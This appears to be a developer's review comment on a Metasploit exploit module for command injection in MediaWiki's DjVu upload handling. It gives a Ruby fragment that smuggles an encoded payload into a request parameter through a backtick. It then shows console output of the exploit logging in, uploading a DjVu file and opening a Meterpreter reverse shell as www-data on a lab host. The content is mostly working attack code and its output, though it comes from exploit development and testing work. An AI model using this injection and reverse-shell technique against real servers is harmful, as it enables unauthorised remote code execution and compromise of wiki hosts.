You can do something like that to make AppendEncoder work and PHP-CLI target should work

```ruby
  def payload_request(uri, file_name)
    p = "1`#{payload.encoded}"
    p << target['Payload']['AppendEncoder'] if target['Payload']['AppendEncoder']
```

```
msf exploit(mediawiki_djvu) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Grabbing login CSRF token...
[+] Retrieved login CSRF token.
[*] Attempting to login...
[+] Log in successful.
[*] Getting upload CSRF token...
[+] Retrieved upload CSRF token.
[*] Uploading DjVu file FbzM.djvu...
[+] File uploaded to http://192.168.172.141/index.php/File:FbzM.djvu
[*] Sending payload request...
[*] Sending stage (39848 bytes) to 192.168.172.141
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.141:49662) at 2014-02-04 08:42:18 -0600

meterpreter > getuid
Server username: www-data (33)
meterpreter > 
```